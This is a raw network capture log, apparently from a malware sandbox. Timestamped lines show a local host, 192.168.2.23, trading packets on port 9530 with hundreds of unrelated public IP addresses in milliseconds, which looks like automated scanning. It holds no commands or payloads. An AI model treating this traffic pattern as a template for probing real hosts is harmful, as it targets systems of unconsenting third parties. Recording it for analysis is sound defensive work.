May 16, 2024 16:38:49.002899885 CEST	55095	9530	192.168.2.23	101.49.170.37
May 16, 2024 16:38:49.002901077 CEST	9530	55095	161.74.246.92	192.168.2.23
May 16, 2024 16:38:49.002907991 CEST	55095	9530	192.168.2.23	54.201.175.178
May 16, 2024 16:38:49.002911091 CEST	9530	55095	12.145.169.56	192.168.2.23
May 16, 2024 16:38:49.002919912 CEST	9530	55095	151.203.94.111	192.168.2.23
May 16, 2024 16:38:49.002923012 CEST	55095	9530	192.168.2.23	27.135.29.14
May 16, 2024 16:38:49.002923012 CEST	55095	9530	192.168.2.23	161.74.246.92
May 16, 2024 16:38:49.002929926 CEST	9530	55095	129.25.10.41	192.168.2.23
May 16, 2024 16:38:49.002938986 CEST	55095	9530	192.168.2.23	12.145.169.56
May 16, 2024 16:38:49.002939939 CEST	9530	55095	54.90.127.54	192.168.2.23
May 16, 2024 16:38:49.002948999 CEST	9530	55095	126.86.159.241	192.168.2.23
May 16, 2024 16:38:49.002959013 CEST	9530	55095	18.247.202.236	192.168.2.23
May 16, 2024 16:38:49.002966881 CEST	55095	9530	192.168.2.23	151.203.94.111
May 16, 2024 16:38:49.002969027 CEST	9530	55095	87.181.40.147	192.168.2.23
May 16, 2024 16:38:49.002979040 CEST	9530	55095	12.218.64.75	192.168.2.23
May 16, 2024 16:38:49.002986908 CEST	9530	55095	207.251.228.122	192.168.2.23
May 16, 2024 16:38:49.002995968 CEST	9530	55095	129.185.12.236	192.168.2.23
May 16, 2024 16:38:49.002995014 CEST	55095	9530	192.168.2.23	126.86.159.241
May 16, 2024 16:38:49.002996922 CEST	55095	9530	192.168.2.23	12.218.64.75
May 16, 2024 16:38:49.002998114 CEST	55095	9530	192.168.2.23	18.247.202.236
May 16, 2024 16:38:49.003000021 CEST	55095	9530	192.168.2.23	129.25.10.41
May 16, 2024 16:38:49.003005981 CEST	55095	9530	192.168.2.23	54.90.127.54
May 16, 2024 16:38:49.003005981 CEST	55095	9530	192.168.2.23	87.181.40.147
May 16, 2024 16:38:49.003007889 CEST	9530	55095	196.163.187.138	192.168.2.23
May 16, 2024 16:38:49.003019094 CEST	9530	55095	202.32.8.182	192.168.2.23
May 16, 2024 16:38:49.003020048 CEST	55095	9530	192.168.2.23	207.251.228.122
May 16, 2024 16:38:49.003026962 CEST	55095	9530	192.168.2.23	129.185.12.236
May 16, 2024 16:38:49.003027916 CEST	55095	9530	192.168.2.23	196.163.187.138
May 16, 2024 16:38:49.003027916 CEST	9530	55095	68.73.139.243	192.168.2.23
May 16, 2024 16:38:49.003037930 CEST	9530	55095	193.244.101.89	192.168.2.23
May 16, 2024 16:38:49.003046989 CEST	9530	55095	43.37.194.86	192.168.2.23
May 16, 2024 16:38:49.003051996 CEST	55095	9530	192.168.2.23	68.73.139.243
May 16, 2024 16:38:49.003053904 CEST	55095	9530	192.168.2.23	202.32.8.182
May 16, 2024 16:38:49.003056049 CEST	9530	55095	95.209.120.137	192.168.2.23
May 16, 2024 16:38:49.003066063 CEST	55095	9530	192.168.2.23	193.244.101.89
May 16, 2024 16:38:49.003067017 CEST	9530	55095	94.64.38.49	192.168.2.23
May 16, 2024 16:38:49.003077984 CEST	9530	55095	134.236.74.10	192.168.2.23
May 16, 2024 16:38:49.003088951 CEST	9530	55095	136.48.253.58	192.168.2.23
May 16, 2024 16:38:49.003097057 CEST	55095	9530	192.168.2.23	95.209.120.137
May 16, 2024 16:38:49.003098011 CEST	9530	55095	217.196.23.19	192.168.2.23
May 16, 2024 16:38:49.003107071 CEST	9530	55095	180.190.61.44	192.168.2.23
May 16, 2024 16:38:49.003113031 CEST	55095	9530	192.168.2.23	134.236.74.10
May 16, 2024 16:38:49.003119946 CEST	55095	9530	192.168.2.23	43.37.194.86
May 16, 2024 16:38:49.003119946 CEST	55095	9530	192.168.2.23	94.64.38.49
May 16, 2024 16:38:49.003120899 CEST	9530	55095	191.130.74.72	192.168.2.23
May 16, 2024 16:38:49.003125906 CEST	55095	9530	192.168.2.23	136.48.253.58
May 16, 2024 16:38:49.003133059 CEST	9530	55095	38.22.85.108	192.168.2.23
May 16, 2024 16:38:49.003133059 CEST	55095	9530	192.168.2.23	180.190.61.44
May 16, 2024 16:38:49.003139973 CEST	55095	9530	192.168.2.23	217.196.23.19
May 16, 2024 16:38:49.003139973 CEST	9530	55095	61.192.248.22	192.168.2.23
May 16, 2024 16:38:49.003149986 CEST	9530	55095	146.175.159.25	192.168.2.23
May 16, 2024 16:38:49.003160000 CEST	9530	55095	51.116.196.252	192.168.2.23
May 16, 2024 16:38:49.003169060 CEST	9530	55095	69.107.10.120	192.168.2.23
May 16, 2024 16:38:49.003170013 CEST	55095	9530	192.168.2.23	191.130.74.72
May 16, 2024 16:38:49.003170013 CEST	55095	9530	192.168.2.23	38.22.85.108
May 16, 2024 16:38:49.003170013 CEST	55095	9530	192.168.2.23	61.192.248.22
May 16, 2024 16:38:49.003173113 CEST	55095	9530	192.168.2.23	146.175.159.25
May 16, 2024 16:38:49.003179073 CEST	9530	55095	138.200.4.72	192.168.2.23
May 16, 2024 16:38:49.003189087 CEST	9530	55095	135.251.54.18	192.168.2.23
May 16, 2024 16:38:49.003196001 CEST	9530	55095	183.253.57.6	192.168.2.23
May 16, 2024 16:38:49.003201008 CEST	9530	55095	81.59.48.101	192.168.2.23
May 16, 2024 16:38:49.003204107 CEST	9530	55095	200.111.164.164	192.168.2.23
May 16, 2024 16:38:49.003210068 CEST	55095	9530	192.168.2.23	51.116.196.252
May 16, 2024 16:38:49.003210068 CEST	55095	9530	192.168.2.23	69.107.10.120
May 16, 2024 16:38:49.003211021 CEST	55095	9530	192.168.2.23	138.200.4.72
May 16, 2024 16:38:49.003211975 CEST	55095	9530	192.168.2.23	183.253.57.6
May 16, 2024 16:38:49.003211975 CEST	9530	55095	48.185.110.68	192.168.2.23
May 16, 2024 16:38:49.003237963 CEST	55095	9530	192.168.2.23	81.59.48.101
May 16, 2024 16:38:49.003237963 CEST	55095	9530	192.168.2.23	135.251.54.18
May 16, 2024 16:38:49.003241062 CEST	55095	9530	192.168.2.23	200.111.164.164
May 16, 2024 16:38:49.003246069 CEST	55095	9530	192.168.2.23	48.185.110.68
May 16, 2024 16:38:49.007267952 CEST	9530	55095	208.250.20.96	192.168.2.23
May 16, 2024 16:38:49.007281065 CEST	9530	55095	142.231.21.207	192.168.2.23
May 16, 2024 16:38:49.007288933 CEST	9530	55095	203.190.182.245	192.168.2.23
May 16, 2024 16:38:49.007301092 CEST	9530	55095	44.211.54.126	192.168.2.23
May 16, 2024 16:38:49.007309914 CEST	9530	55095	193.170.159.184	192.168.2.23
May 16, 2024 16:38:49.007318020 CEST	9530	55095	79.16.98.145	192.168.2.23
May 16, 2024 16:38:49.007327080 CEST	9530	55095	158.249.20.114	192.168.2.23
May 16, 2024 16:38:49.007334948 CEST	9530	55095	160.141.115.168	192.168.2.23
May 16, 2024 16:38:49.007344007 CEST	9530	55095	66.52.125.243	192.168.2.23
May 16, 2024 16:38:49.007347107 CEST	55095	9530	192.168.2.23	142.231.21.207
May 16, 2024 16:38:49.007347107 CEST	55095	9530	192.168.2.23	44.211.54.126
May 16, 2024 16:38:49.007347107 CEST	55095	9530	192.168.2.23	193.170.159.184
May 16, 2024 16:38:49.007354021 CEST	9530	55095	98.103.153.217	192.168.2.23
May 16, 2024 16:38:49.007359028 CEST	55095	9530	192.168.2.23	79.16.98.145
May 16, 2024 16:38:49.007363081 CEST	9530	55095	170.87.14.189	192.168.2.23
May 16, 2024 16:38:49.007373095 CEST	9530	55095	51.15.195.78	192.168.2.23
May 16, 2024 16:38:49.007381916 CEST	9530	55095	203.123.183.191	192.168.2.23
May 16, 2024 16:38:49.007385015 CEST	55095	9530	192.168.2.23	203.190.182.245
May 16, 2024 16:38:49.007385969 CEST	55095	9530	192.168.2.23	158.249.20.114
May 16, 2024 16:38:49.007392883 CEST	9530	55095	116.25.14.110	192.168.2.23
May 16, 2024 16:38:49.007401943 CEST	9530	55095	152.42.237.115	192.168.2.23
May 16, 2024 16:38:49.007401943 CEST	55095	9530	192.168.2.23	160.141.115.168
May 16, 2024 16:38:49.007405996 CEST	9530	55095	194.143.33.238	192.168.2.23
May 16, 2024 16:38:49.007410049 CEST	9530	55095	113.110.19.229	192.168.2.23
May 16, 2024 16:38:49.007414103 CEST	9530	55095	141.57.112.54	192.168.2.23
May 16, 2024 16:38:49.007414103 CEST	55095	9530	192.168.2.23	208.250.20.96
May 16, 2024 16:38:49.007421970 CEST	9530	55095	19.213.26.213	192.168.2.23
May 16, 2024 16:38:49.007426023 CEST	9530	55095	63.183.144.250	192.168.2.23
May 16, 2024 16:38:49.007428885 CEST	9530	55095	14.105.129.11	192.168.2.23
May 16, 2024 16:38:49.007441998 CEST	9530	55095	189.206.15.141	192.168.2.23
May 16, 2024 16:38:49.007452011 CEST	9530	55095	57.249.85.170	192.168.2.23
May 16, 2024 16:38:49.007461071 CEST	9530	55095	180.222.128.142	192.168.2.23
May 16, 2024 16:38:49.007464886 CEST	9530	55095	196.173.183.227	192.168.2.23
May 16, 2024 16:38:49.007472038 CEST	55095	9530	192.168.2.23	51.15.195.78
May 16, 2024 16:38:49.007472038 CEST	55095	9530	192.168.2.23	116.25.14.110
May 16, 2024 16:38:49.007472038 CEST	55095	9530	192.168.2.23	194.143.33.238
May 16, 2024 16:38:49.007473946 CEST	9530	55095	70.251.61.124	192.168.2.23
May 16, 2024 16:38:49.007479906 CEST	55095	9530	192.168.2.23	113.110.19.229
May 16, 2024 16:38:49.007484913 CEST	55095	9530	192.168.2.23	203.123.183.191
May 16, 2024 16:38:49.007484913 CEST	55095	9530	192.168.2.23	152.42.237.115
May 16, 2024 16:38:49.007488966 CEST	55095	9530	192.168.2.23	98.103.153.217
May 16, 2024 16:38:49.007493019 CEST	9530	55095	109.41.41.92	192.168.2.23
May 16, 2024 16:38:49.007493973 CEST	55095	9530	192.168.2.23	141.57.112.54
May 16, 2024 16:38:49.007502079 CEST	9530	55095	42.134.40.99	192.168.2.23
May 16, 2024 16:38:49.007502079 CEST	55095	9530	192.168.2.23	19.213.26.213
May 16, 2024 16:38:49.007512093 CEST	9530	55095	41.184.108.155	192.168.2.23
May 16, 2024 16:38:49.007514000 CEST	55095	9530	192.168.2.23	63.183.144.250
May 16, 2024 16:38:49.007519007 CEST	55095	9530	192.168.2.23	66.52.125.243
May 16, 2024 16:38:49.007519960 CEST	55095	9530	192.168.2.23	14.105.129.11
May 16, 2024 16:38:49.007520914 CEST	9530	55095	124.58.214.37	192.168.2.23
May 16, 2024 16:38:49.007530928 CEST	55095	9530	192.168.2.23	189.206.15.141
May 16, 2024 16:38:49.007530928 CEST	9530	55095	107.32.73.197	192.168.2.23
May 16, 2024 16:38:49.007539034 CEST	55095	9530	192.168.2.23	57.249.85.170
May 16, 2024 16:38:49.007539988 CEST	9530	55095	185.196.165.222	192.168.2.23
May 16, 2024 16:38:49.007548094 CEST	55095	9530	192.168.2.23	70.251.61.124
May 16, 2024 16:38:49.007550955 CEST	9530	55095	170.177.19.66	192.168.2.23
May 16, 2024 16:38:49.007555962 CEST	55095	9530	192.168.2.23	41.184.108.155
May 16, 2024 16:38:49.007560968 CEST	9530	55095	46.235.210.168	192.168.2.23
May 16, 2024 16:38:49.007565022 CEST	55095	9530	192.168.2.23	124.58.214.37
May 16, 2024 16:38:49.007577896 CEST	9530	55095	70.70.227.143	192.168.2.23
May 16, 2024 16:38:49.007586956 CEST	9530	55095	187.19.20.188	192.168.2.23
May 16, 2024 16:38:49.007594109 CEST	9530	55095	89.236.58.66	192.168.2.23
May 16, 2024 16:38:49.007603884 CEST	9530	55095	23.227.66.1	192.168.2.23
May 16, 2024 16:38:49.007612944 CEST	9530	55095	164.251.42.118	192.168.2.23
May 16, 2024 16:38:49.007617950 CEST	55095	9530	192.168.2.23	185.196.165.222
May 16, 2024 16:38:49.007622004 CEST	9530	55095	143.193.194.251	192.168.2.23
May 16, 2024 16:38:49.007627010 CEST	9530	55095	25.176.4.187	192.168.2.23
May 16, 2024 16:38:49.007630110 CEST	55095	9530	192.168.2.23	107.32.73.197
May 16, 2024 16:38:49.007631063 CEST	55095	9530	192.168.2.23	170.87.14.189
May 16, 2024 16:38:49.007647991 CEST	55095	9530	192.168.2.23	196.173.183.227
May 16, 2024 16:38:49.007654905 CEST	55095	9530	192.168.2.23	180.222.128.142
May 16, 2024 16:38:49.007678032 CEST	55095	9530	192.168.2.23	170.177.19.66
May 16, 2024 16:38:49.007679939 CEST	55095	9530	192.168.2.23	109.41.41.92
May 16, 2024 16:38:49.007679939 CEST	55095	9530	192.168.2.23	42.134.40.99
May 16, 2024 16:38:49.007687092 CEST	55095	9530	192.168.2.23	46.235.210.168
May 16, 2024 16:38:49.007699966 CEST	55095	9530	192.168.2.23	187.19.20.188
May 16, 2024 16:38:49.007714033 CEST	55095	9530	192.168.2.23	89.236.58.66
May 16, 2024 16:38:49.007714987 CEST	55095	9530	192.168.2.23	23.227.66.1
May 16, 2024 16:38:49.007721901 CEST	55095	9530	192.168.2.23	143.193.194.251
May 16, 2024 16:38:49.007739067 CEST	55095	9530	192.168.2.23	70.70.227.143
May 16, 2024 16:38:49.007744074 CEST	55095	9530	192.168.2.23	164.251.42.118
May 16, 2024 16:38:49.007750988 CEST	55095	9530	192.168.2.23	25.176.4.187
May 16, 2024 16:38:49.011491060 CEST	9530	55095	40.109.30.160	192.168.2.23
May 16, 2024 16:38:49.011502981 CEST	9530	55095	40.91.212.20	192.168.2.23
May 16, 2024 16:38:49.011513948 CEST	9530	55095	207.45.140.248	192.168.2.23
May 16, 2024 16:38:49.011523008 CEST	9530	55095	93.13.183.95	192.168.2.23
May 16, 2024 16:38:49.011533022 CEST	9530	55095	101.81.50.123	192.168.2.23
May 16, 2024 16:38:49.011537075 CEST	55095	9530	192.168.2.23	40.109.30.160
May 16, 2024 16:38:49.011544943 CEST	9530	55095	186.114.51.190	192.168.2.23
May 16, 2024 16:38:49.011554003 CEST	9530	55095	189.157.143.3	192.168.2.23
May 16, 2024 16:38:49.011562109 CEST	55095	9530	192.168.2.23	40.91.212.20
May 16, 2024 16:38:49.011563063 CEST	55095	9530	192.168.2.23	93.13.183.95
May 16, 2024 16:38:49.011563063 CEST	9530	55095	131.67.153.207	192.168.2.23
May 16, 2024 16:38:49.011564016 CEST	55095	9530	192.168.2.23	207.45.140.248
May 16, 2024 16:38:49.011567116 CEST	55095	9530	192.168.2.23	101.81.50.123
May 16, 2024 16:38:49.011569023 CEST	9530	55095	163.151.225.70	192.168.2.23
May 16, 2024 16:38:49.011579037 CEST	9530	55095	49.249.187.63	192.168.2.23
May 16, 2024 16:38:49.011585951 CEST	55095	9530	192.168.2.23	186.114.51.190
May 16, 2024 16:38:49.011586905 CEST	55095	9530	192.168.2.23	189.157.143.3
May 16, 2024 16:38:49.011588097 CEST	9530	55095	89.217.175.205	192.168.2.23
May 16, 2024 16:38:49.011595011 CEST	55095	9530	192.168.2.23	131.67.153.207
May 16, 2024 16:38:49.011599064 CEST	9530	55095	168.227.233.143	192.168.2.23
May 16, 2024 16:38:49.011606932 CEST	9530	55095	199.132.154.196	192.168.2.23
May 16, 2024 16:38:49.011607885 CEST	55095	9530	192.168.2.23	163.151.225.70
May 16, 2024 16:38:49.011607885 CEST	55095	9530	192.168.2.23	49.249.187.63
May 16, 2024 16:38:49.011616945 CEST	9530	55095	142.9.181.62	192.168.2.23
May 16, 2024 16:38:49.011626959 CEST	9530	55095	187.250.136.119	192.168.2.23
May 16, 2024 16:38:49.011626959 CEST	55095	9530	192.168.2.23	168.227.233.143
May 16, 2024 16:38:49.011627913 CEST	55095	9530	192.168.2.23	89.217.175.205
May 16, 2024 16:38:49.011631012 CEST	55095	9530	192.168.2.23	199.132.154.196
May 16, 2024 16:38:49.011636019 CEST	9530	55095	150.189.205.15	192.168.2.23
May 16, 2024 16:38:49.011645079 CEST	9530	55095	131.230.133.141	192.168.2.23
May 16, 2024 16:38:49.011646986 CEST	55095	9530	192.168.2.23	142.9.181.62
May 16, 2024 16:38:49.011655092 CEST	9530	55095	188.195.13.100	192.168.2.23
May 16, 2024 16:38:49.011661053 CEST	55095	9530	192.168.2.23	150.189.205.15
May 16, 2024 16:38:49.011662960 CEST	9530	55095	13.165.37.88	192.168.2.23
May 16, 2024 16:38:49.011672974 CEST	55095	9530	192.168.2.23	187.250.136.119
May 16, 2024 16:38:49.011674881 CEST	9530	55095	77.156.12.22	192.168.2.23
May 16, 2024 16:38:49.011674881 CEST	55095	9530	192.168.2.23	188.195.13.100
May 16, 2024 16:38:49.011677980 CEST	55095	9530	192.168.2.23	131.230.133.141
May 16, 2024 16:38:49.011684895 CEST	9530	55095	53.2.173.174	192.168.2.23
May 16, 2024 16:38:49.011696100 CEST	9530	55095	82.45.108.97	192.168.2.23
May 16, 2024 16:38:49.011704922 CEST	9530	55095	147.132.78.27	192.168.2.23
May 16, 2024 16:38:49.011712074 CEST	55095	9530	192.168.2.23	13.165.37.88
May 16, 2024 16:38:49.011713028 CEST	55095	9530	192.168.2.23	77.156.12.22
May 16, 2024 16:38:49.011713028 CEST	9530	55095	5.243.244.140	192.168.2.23
May 16, 2024 16:38:49.011717081 CEST	55095	9530	192.168.2.23	53.2.173.174
May 16, 2024 16:38:49.011725903 CEST	9530	55095	78.251.247.218	192.168.2.23
May 16, 2024 16:38:49.011733055 CEST	55095	9530	192.168.2.23	82.45.108.97
May 16, 2024 16:38:49.011733055 CEST	55095	9530	192.168.2.23	147.132.78.27
May 16, 2024 16:38:49.011735916 CEST	9530	55095	222.120.156.66	192.168.2.23
May 16, 2024 16:38:49.011744022 CEST	9530	55095	200.23.45.215	192.168.2.23
May 16, 2024 16:38:49.011749983 CEST	55095	9530	192.168.2.23	5.243.244.140
May 16, 2024 16:38:49.011754990 CEST	9530	55095	9.180.73.222	192.168.2.23
May 16, 2024 16:38:49.011764050 CEST	9530	55095	74.7.40.176	192.168.2.23
May 16, 2024 16:38:49.011771917 CEST	55095	9530	192.168.2.23	222.120.156.66
May 16, 2024 16:38:49.011773109 CEST	55095	9530	192.168.2.23	78.251.247.218
May 16, 2024 16:38:49.011773109 CEST	9530	55095	158.217.88.55	192.168.2.23
May 16, 2024 16:38:49.011785030 CEST	55095	9530	192.168.2.23	200.23.45.215
May 16, 2024 16:38:49.011785984 CEST	9530	55095	27.79.43.202	192.168.2.23
May 16, 2024 16:38:49.011785984 CEST	55095	9530	192.168.2.23	9.180.73.222
May 16, 2024 16:38:49.011794090 CEST	55095	9530	192.168.2.23	74.7.40.176
May 16, 2024 16:38:49.011795998 CEST	9530	55095	46.13.99.65	192.168.2.23
May 16, 2024 16:38:49.011802912 CEST	55095	9530	192.168.2.23	158.217.88.55
May 16, 2024 16:38:49.011807919 CEST	55095	9530	192.168.2.23	27.79.43.202
May 16, 2024 16:38:49.011809111 CEST	9530	55095	178.43.167.137	192.168.2.23
May 16, 2024 16:38:49.011818886 CEST	9530	55095	144.152.210.13	192.168.2.23
May 16, 2024 16:38:49.011826992 CEST	9530	55095	93.25.179.182	192.168.2.23
May 16, 2024 16:38:49.011828899 CEST	55095	9530	192.168.2.23	46.13.99.65
May 16, 2024 16:38:49.011836052 CEST	9530	55095	2.108.10.108	192.168.2.23
May 16, 2024 16:38:49.011838913 CEST	55095	9530	192.168.2.23	178.43.167.137
May 16, 2024 16:38:49.011845112 CEST	9530	55095	160.58.131.128	192.168.2.23
May 16, 2024 16:38:49.011854887 CEST	9530	55095	8.78.92.9	192.168.2.23
May 16, 2024 16:38:49.011862993 CEST	9530	55095	68.166.51.39	192.168.2.23
May 16, 2024 16:38:49.011864901 CEST	55095	9530	192.168.2.23	2.108.10.108
May 16, 2024 16:38:49.011868954 CEST	55095	9530	192.168.2.23	144.152.210.13
May 16, 2024 16:38:49.011868954 CEST	55095	9530	192.168.2.23	93.25.179.182
May 16, 2024 16:38:49.011868954 CEST	55095	9530	192.168.2.23	160.58.131.128
May 16, 2024 16:38:49.011873007 CEST	9530	55095	61.156.255.39	192.168.2.23
May 16, 2024 16:38:49.011879921 CEST	55095	9530	192.168.2.23	8.78.92.9
May 16, 2024 16:38:49.011882067 CEST	9530	55095	85.27.213.251	192.168.2.23
May 16, 2024 16:38:49.011887074 CEST	55095	9530	192.168.2.23	68.166.51.39
May 16, 2024 16:38:49.011894941 CEST	55095	9530	192.168.2.23	61.156.255.39
May 16, 2024 16:38:49.011928082 CEST	55095	9530	192.168.2.23	85.27.213.251
May 16, 2024 16:38:49.015486002 CEST	9530	55095	9.22.9.203	192.168.2.23
May 16, 2024 16:38:49.015506029 CEST	9530	55095	145.151.222.160	192.168.2.23
May 16, 2024 16:38:49.015516996 CEST	9530	55095	157.207.190.143	192.168.2.23
May 16, 2024 16:38:49.015525103 CEST	9530	55095	144.10.104.74	192.168.2.23
May 16, 2024 16:38:49.015528917 CEST	55095	9530	192.168.2.23	9.22.9.203
May 16, 2024 16:38:49.015531063 CEST	55095	9530	192.168.2.23	145.151.222.160
May 16, 2024 16:38:49.015533924 CEST	9530	55095	74.153.90.107	192.168.2.23
May 16, 2024 16:38:49.015543938 CEST	55095	9530	192.168.2.23	157.207.190.143
May 16, 2024 16:38:49.015548944 CEST	9530	55095	154.237.165.117	192.168.2.23
May 16, 2024 16:38:49.015551090 CEST	55095	9530	192.168.2.23	144.10.104.74
May 16, 2024 16:38:49.015558004 CEST	9530	55095	183.21.253.145	192.168.2.23
May 16, 2024 16:38:49.015568018 CEST	55095	9530	192.168.2.23	74.153.90.107
May 16, 2024 16:38:49.015568972 CEST	9530	55095	12.221.59.103	192.168.2.23
May 16, 2024 16:38:49.015578032 CEST	9530	55095	4.110.159.180	192.168.2.23
May 16, 2024 16:38:49.015584946 CEST	9530	55095	81.56.32.91	192.168.2.23
May 16, 2024 16:38:49.015585899 CEST	55095	9530	192.168.2.23	154.237.165.117
May 16, 2024 16:38:49.015588999 CEST	55095	9530	192.168.2.23	183.21.253.145
May 16, 2024 16:38:49.015594006 CEST	9530	55095	152.89.201.79	192.168.2.23
May 16, 2024 16:38:49.015604019 CEST	9530	55095	105.181.12.36	192.168.2.23
May 16, 2024 16:38:49.015611887 CEST	9530	55095	108.113.172.237	192.168.2.23
May 16, 2024 16:38:49.015620947 CEST	9530	55095	83.148.246.107	192.168.2.23
May 16, 2024 16:38:49.015628099 CEST	9530	55095	92.6.127.200	192.168.2.23
May 16, 2024 16:38:49.015630007 CEST	55095	9530	192.168.2.23	4.110.159.180
May 16, 2024 16:38:49.015630007 CEST	55095	9530	192.168.2.23	81.56.32.91
May 16, 2024 16:38:49.015630960 CEST	55095	9530	192.168.2.23	152.89.201.79
May 16, 2024 16:38:49.015630960 CEST	55095	9530	192.168.2.23	105.181.12.36
May 16, 2024 16:38:49.015631914 CEST	55095	9530	192.168.2.23	12.221.59.103
May 16, 2024 16:38:49.015639067 CEST	55095	9530	192.168.2.23	108.113.172.237
May 16, 2024 16:38:49.015639067 CEST	9530	55095	190.58.155.106	192.168.2.23
May 16, 2024 16:38:49.015639067 CEST	55095	9530	192.168.2.23	83.148.246.107
May 16, 2024 16:38:49.015649080 CEST	9530	55095	80.71.76.157	192.168.2.23
May 16, 2024 16:38:49.015659094 CEST	9530	55095	12.226.47.5	192.168.2.23
May 16, 2024 16:38:49.015666008 CEST	55095	9530	192.168.2.23	190.58.155.106
May 16, 2024 16:38:49.015666962 CEST	9530	55095	92.209.142.234	192.168.2.23
May 16, 2024 16:38:49.015667915 CEST	55095	9530	192.168.2.23	92.6.127.200
May 16, 2024 16:38:49.015676022 CEST	9530	55095	157.226.50.204	192.168.2.23
May 16, 2024 16:38:49.015682936 CEST	55095	9530	192.168.2.23	12.226.47.5
May 16, 2024 16:38:49.015685081 CEST	9530	55095	64.181.55.230	192.168.2.23
May 16, 2024 16:38:49.015687943 CEST	55095	9530	192.168.2.23	80.71.76.157
May 16, 2024 16:38:49.015695095 CEST	9530	55095	69.79.183.102	192.168.2.23
May 16, 2024 16:38:49.015703917 CEST	9530	55095	112.155.148.115	192.168.2.23
May 16, 2024 16:38:49.015707016 CEST	55095	9530	192.168.2.23	92.209.142.234
May 16, 2024 16:38:49.015707016 CEST	55095	9530	192.168.2.23	157.226.50.204
May 16, 2024 16:38:49.015712023 CEST	55095	9530	192.168.2.23	64.181.55.230
May 16, 2024 16:38:49.015712976 CEST	9530	55095	120.166.252.179	192.168.2.23
May 16, 2024 16:38:49.015723944 CEST	9530	55095	156.212.125.236	192.168.2.23
May 16, 2024 16:38:49.015729904 CEST	55095	9530	192.168.2.23	69.79.183.102
May 16, 2024 16:38:49.015729904 CEST	55095	9530	192.168.2.23	112.155.148.115
May 16, 2024 16:38:49.015732050 CEST	9530	55095	99.53.37.147	192.168.2.23
May 16, 2024 16:38:49.015743971 CEST	9530	55095	125.213.76.27	192.168.2.23
May 16, 2024 16:38:49.015744925 CEST	55095	9530	192.168.2.23	120.166.252.179
May 16, 2024 16:38:49.015748978 CEST	55095	9530	192.168.2.23	156.212.125.236
May 16, 2024 16:38:49.015752077 CEST	55095	9530	192.168.2.23	99.53.37.147
May 16, 2024 16:38:49.015754938 CEST	9530	55095	119.119.242.141	192.168.2.23
May 16, 2024 16:38:49.015764952 CEST	9530	55095	135.25.111.216	192.168.2.23
May 16, 2024 16:38:49.015774012 CEST	9530	55095	195.38.0.222	192.168.2.23
May 16, 2024 16:38:49.015784025 CEST	9530	55095	190.206.195.59	192.168.2.23
May 16, 2024 16:38:49.015791893 CEST	55095	9530	192.168.2.23	125.213.76.27
May 16, 2024 16:38:49.015791893 CEST	55095	9530	192.168.2.23	119.119.242.141
May 16, 2024 16:38:49.015794039 CEST	55095	9530	192.168.2.23	135.25.111.216
May 16, 2024 16:38:49.015794992 CEST	9530	55095	123.183.203.139	192.168.2.23
May 16, 2024 16:38:49.015805006 CEST	9530	55095	158.229.130.82	192.168.2.23
May 16, 2024 16:38:49.015806913 CEST	55095	9530	192.168.2.23	195.38.0.222
May 16, 2024 16:38:49.015814066 CEST	9530	55095	152.170.106.69	192.168.2.23
May 16, 2024 16:38:49.015822887 CEST	9530	55095	36.255.228.44	192.168.2.23
May 16, 2024 16:38:49.015831947 CEST	9530	55095	99.197.249.201	192.168.2.23
May 16, 2024 16:38:49.015836954 CEST	55095	9530	192.168.2.23	190.206.195.59
May 16, 2024 16:38:49.015836954 CEST	55095	9530	192.168.2.23	158.229.130.82
May 16, 2024 16:38:49.015837908 CEST	55095	9530	192.168.2.23	123.183.203.139
May 16, 2024 16:38:49.015840054 CEST	9530	55095	124.160.180.31	192.168.2.23
May 16, 2024 16:38:49.015851021 CEST	9530	55095	27.202.25.182	192.168.2.23
May 16, 2024 16:38:49.015853882 CEST	55095	9530	192.168.2.23	152.170.106.69
May 16, 2024 16:38:49.015856028 CEST	55095	9530	192.168.2.23	36.255.228.44
May 16, 2024 16:38:49.015856981 CEST	55095	9530	192.168.2.23	99.197.249.201
May 16, 2024 16:38:49.015860081 CEST	9530	55095	183.46.161.149	192.168.2.23
May 16, 2024 16:38:49.015873909 CEST	9530	55095	90.193.250.143	192.168.2.23
May 16, 2024 16:38:49.015882969 CEST	9530	55095	105.3.33.207	192.168.2.23
May 16, 2024 16:38:49.015883923 CEST	55095	9530	192.168.2.23	27.202.25.182
May 16, 2024 16:38:49.015883923 CEST	55095	9530	192.168.2.23	124.160.180.31
May 16, 2024 16:38:49.015892982 CEST	55095	9530	192.168.2.23	183.46.161.149
May 16, 2024 16:38:49.015916109 CEST	55095	9530	192.168.2.23	105.3.33.207
May 16, 2024 16:38:49.015928030 CEST	55095	9530	192.168.2.23	90.193.250.143
May 16, 2024 16:38:49.019217014 CEST	9530	55095	50.166.255.224	192.168.2.23
May 16, 2024 16:38:49.019228935 CEST	9530	55095	103.25.163.70	192.168.2.23
May 16, 2024 16:38:49.019237995 CEST	9530	55095	182.182.205.21	192.168.2.23
May 16, 2024 16:38:49.019246101 CEST	9530	55095	200.207.206.22	192.168.2.23
May 16, 2024 16:38:49.019254923 CEST	9530	55095	65.233.241.22	192.168.2.23
May 16, 2024 16:38:49.019258022 CEST	55095	9530	192.168.2.23	103.25.163.70
May 16, 2024 16:38:49.019264936 CEST	9530	55095	52.196.158.136	192.168.2.23
May 16, 2024 16:38:49.019269943 CEST	55095	9530	192.168.2.23	182.182.205.21
May 16, 2024 16:38:49.019273043 CEST	55095	9530	192.168.2.23	50.166.255.224
May 16, 2024 16:38:49.019273996 CEST	9530	55095	106.227.252.194	192.168.2.23
May 16, 2024 16:38:49.019285917 CEST	9530	55095	142.108.134.4	192.168.2.23
May 16, 2024 16:38:49.019290924 CEST	55095	9530	192.168.2.23	200.207.206.22
May 16, 2024 16:38:49.019294024 CEST	9530	55095	27.97.24.188	192.168.2.23
May 16, 2024 16:38:49.019294024 CEST	55095	9530	192.168.2.23	65.233.241.22
May 16, 2024 16:38:49.019298077 CEST	55095	9530	192.168.2.23	52.196.158.136
May 16, 2024 16:38:49.019304037 CEST	9530	55095	177.203.57.235	192.168.2.23
May 16, 2024 16:38:49.019309998 CEST	55095	9530	192.168.2.23	106.227.252.194
May 16, 2024 16:38:49.019313097 CEST	9530	55095	122.114.255.247	192.168.2.23
May 16, 2024 16:38:49.019320965 CEST	55095	9530	192.168.2.23	27.97.24.188
May 16, 2024 16:38:49.019323111 CEST	9530	55095	41.228.167.168	192.168.2.23
May 16, 2024 16:38:49.019334078 CEST	9530	55095	39.84.30.136	192.168.2.23
May 16, 2024 16:38:49.019335985 CEST	55095	9530	192.168.2.23	142.108.134.4
May 16, 2024 16:38:49.019335985 CEST	55095	9530	192.168.2.23	177.203.57.235
